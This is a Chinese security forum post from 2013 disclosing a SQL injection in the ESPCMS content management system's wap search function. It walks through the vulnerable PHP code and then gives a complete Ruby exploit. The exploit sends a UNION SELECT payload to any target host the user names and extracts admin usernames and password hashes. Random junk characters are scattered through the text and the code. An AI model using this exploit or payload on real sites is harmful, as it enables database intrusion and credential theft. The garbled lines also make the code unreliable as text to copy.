找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2262|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节6 p% z, n  U: \6 X; E8 ?
0×2 PoC
3 H' }$ N$ k3 L+ x
- Q3 q! {0 x  p9 N% Z! B: e8 I8 G- g5 E5 C! w5 A$ C7 k: h7 K* C
* {" A" J  \% X, |  r
0×0 漏洞概述- O/ z  R8 B: Y% I9 \
  V7 F$ ~' a( C& b
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
& F  G  z/ l/ Z7 y# x. q# k4 ?其在处理传入的参数时考虑不严谨导致SQL注入发生5 Y! ^! P8 A3 y2 F
0 J1 M2 p% P7 a: O5 G: [& N
8 y# o! `7 I2 q, O) Q! T& t$ ^
0×1 漏洞细节$ E& y/ D3 ?/ \9 ?+ V$ H
6 U# L4 C5 N) g: Q6 X
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。2 _+ G4 ~  T' u/ o/ e! r6 H
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。7 R* I9 G8 T* d! Y! H
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入% K# W6 ]/ O. `. W- K+ i, R
' C: M( O  [( T! ]6 H+ }
在/interface/3gwap_search.php文件的in_result函数中:2 x( e+ v: U8 @, P/ I4 a4 T9 i

$ D+ p8 W2 K' u2 j* W- b
% `5 Z3 I% K) j5 v  H
' e: u  u1 M+ t+ m, Z: y/ U# r, ^       function in_result() {
3 N' |7 {7 N) j) E" {  F' Y0 b            ... ... ... ... ... ... ... ... ...
0 F# u2 B7 I5 a( H            $urlcode = $_SERVER[ 'QUERY_STRING '];( O. p; n( }( R# D' C" G. R  @
            parse_str(html_entity_decode($urlcode), $output);
3 r7 q& r8 V& B4 z' V4 b  j
8 y9 h7 j2 I6 m            ... ... ... ... ... ... ... ... ...
  S; C$ k4 f  v) F' \            if (is_array($output['attr' ]) && count($output['attr']) > 0) {
- @% _8 o/ {. M* H% {) n$ @+ \/ M5 L; m/ D& z. R% I8 z
                  $db_table = db_prefix . 'model_att';
% E( S2 _: w1 Y  W
) W, c% Z6 T) \. X) _9 Q6 I                   foreach ($output['attr' ] as $key => $value) {
, G- w7 f+ E+ m7 C5 e1 R                         if ($value) {
( @& K" a, V( x
* }  N6 D3 z: y7 c                              $key = addslashes($key);8 p, u9 U, r1 y. ^( o9 h0 J4 n
                              $key = $this-> fun->inputcodetrim($key);
, w% o/ s; m- L- m& e$ ?2 m                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";; e) G7 ~3 x: L: c: J+ @0 J" D
                              $countnum = $this->db_numrows($db_table, $db_att_where);1 f& J* s( K4 b/ A' C
                               if ($countnum > 0) {+ _: D3 `- W) j
                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
% x: k) Z6 H7 V4 N* m/ R, |. ^                              }3 K6 q% D, _* W. G' b2 U
                        }# c/ Y# N$ u3 P
                  }: @5 w3 H" y; ?
            }
( s: T0 x- w  {* \! B1 q            if (!empty ($keyword) && empty($keyname)) {- _+ i* R; f7 r0 r" k4 v* C9 ^8 ~
                  $keyname = 'title';
% X/ x) w0 b' I" J                  $db_where.= " AND a.title like '%$keyword%'" ;
( p6 y- l1 o( z3 k/ s            } elseif (!empty ($keyword) && !empty($keyname)) {
/ e2 `1 M$ @+ n& k' v" L  f% t* L9 E                  $db_where.= " AND $keyname like '% $keyword%'";' B4 l: n# F4 r9 A, @& H
            }  u8 K  b' p, \6 U, ^- G* P
            $pagemax = 15;! o7 w  Z1 e, E$ |3 F- ~

* t/ {1 \" B) S0 o            $pagesylte = 1;0 m9 _8 ?3 ]5 V: w9 Q/ M! o

  g7 w- N; [9 S3 U$ ^" F2 Q             if ($countnum > 0) {, |. }$ ^4 S- P. o/ j7 A; z" |# Q  m
: n) m* ^2 |) ]
                  $numpage = ceil($countnum / $pagemax);
# ~' T$ \/ }3 m. a0 E, A            } else {
- v; a8 G) t, u1 V; I% e                  $numpage = 1;
8 S% h% R9 b$ R  I, D; G            }
  e  T  l# l5 t            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;* `* q' p+ |5 E* o% Z6 l' F0 i$ q
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
) S" o- O0 K5 [1 v3 V' Y" u: _$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);7 ^' T6 _2 ^0 N& G
            ... ... ... ... ... ... ... ... ...
# C9 _& ?; Q0 ?' u$ M. C8 e      }
7 c5 w( i# v$ O9 W/ B8 x4 N
8 ^# J, k2 B. ]1 H3 r  }6 R2 S9 w6 }1 X: Y( r$ y1 i
0×2 PoC
9 n% U9 ?) K6 y3 m' `; V2 Z) T' P$ m' ~, l# V" v8 U/ f; I
: I  `7 D# G0 _) i

  ]0 g  z- a( u+ y; t' wrequire "net/http"
" U2 H& L5 F' e1 m9 ?" {7 `1 [) i1 o: Y
def request(method, url)
: l+ j" |& W* y& m) ]+ O& X    if method.eql?("get")  v! a$ _2 g9 |. h9 D# d
        uri = URI.parse(url). P& B/ I- f( [( N; z  t
        http = Net::HTTP.new(uri.host, uri.port)& L6 @8 q- i3 @5 l# [5 L
        response = http.request(Net::HTTP::Get.new(uri.request_uri))
4 p; l0 P% P: Z: F. N5 c4 r        return response
! F) Q( w' `' ?9 m. ~' h    end! q8 ^! O" A/ x0 u# |
end: g5 G% o4 U4 O, Q" l! ~4 z# w- P! D

, T8 x; M: X  L! b# ?4 A- fdoc =<<HERE
6 T0 W1 e, n" W% a0 ], H! J, [-------------------------------------------------------7 h- ~; g6 c2 X- ~0 C1 G
Espcms Injection Exploit
: j3 n+ J' v+ h# b/ L/ K5 bAuthor:ztz2 `9 E! G4 ?3 x7 d4 G1 I/ G
Blog:http://ztz.fuzzexp.org/$ f/ j/ n% x" T; @
-------------------------------------------------------
3 ~' Y* g4 l3 G" e4 o- L% U# N
& x: h' A, }0 |4 \/ l4 ^HERE% _2 n; ^! l6 @; w" u8 [4 u

4 c2 I) ~) \* t/ n4 V4 _usage =<<HERE
7 q# t  U3 E9 O6 J2 d) q1 VUsage:         ruby #{$0} host port path
0 `# C) A5 W9 Z% D; ?* s1 s2 g" s1 yexample:     ruby #{$0} www.target.com 80 /
; F( V; t' F( U! T# RHERE
4 t( b) ?7 i2 _9 s" V$ i( ?1 m' ]8 ?
puts doc+ w# m! x/ }: ~- e  e5 K
if ARGV.length < 3
0 @7 A0 x6 k* N    puts usage: ~9 z  c, }2 @- v' s! X
else
; Y4 o! G& k9 A  b, U    $host = ARGV[0]
4 y' j) c6 H* B' F  X1 I8 R, r- {    $port = ARGV[1]
6 s3 K  s6 U) o1 ?) q/ o9 q    $path = ARGV[2]& S! O8 t0 }# _( d

& h5 f% D$ e5 U3 w1 W8 G& x    puts "
  • send request..."
    9 A' E6 H8 ?' V! x# L$ u    url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&; A& P- l" N3 ?9 {. a
    attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13, y0 v/ j/ a4 ~9 V
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
    / K0 {+ f; t, V4 ?,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"% C7 v, P3 t) Q3 M* E
        response = request("get", url)
    $ i1 ~* j6 r7 E/ t: a5 a    result = response.body.scan(/\w+&\w{32}/)
    5 A5 E* K- M: u% {$ Y    puts result$ ?1 b% U) R# \5 `" N% v
    end4 R$ y& J- r' e

    5 D/ l% r. D7 T0 P
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表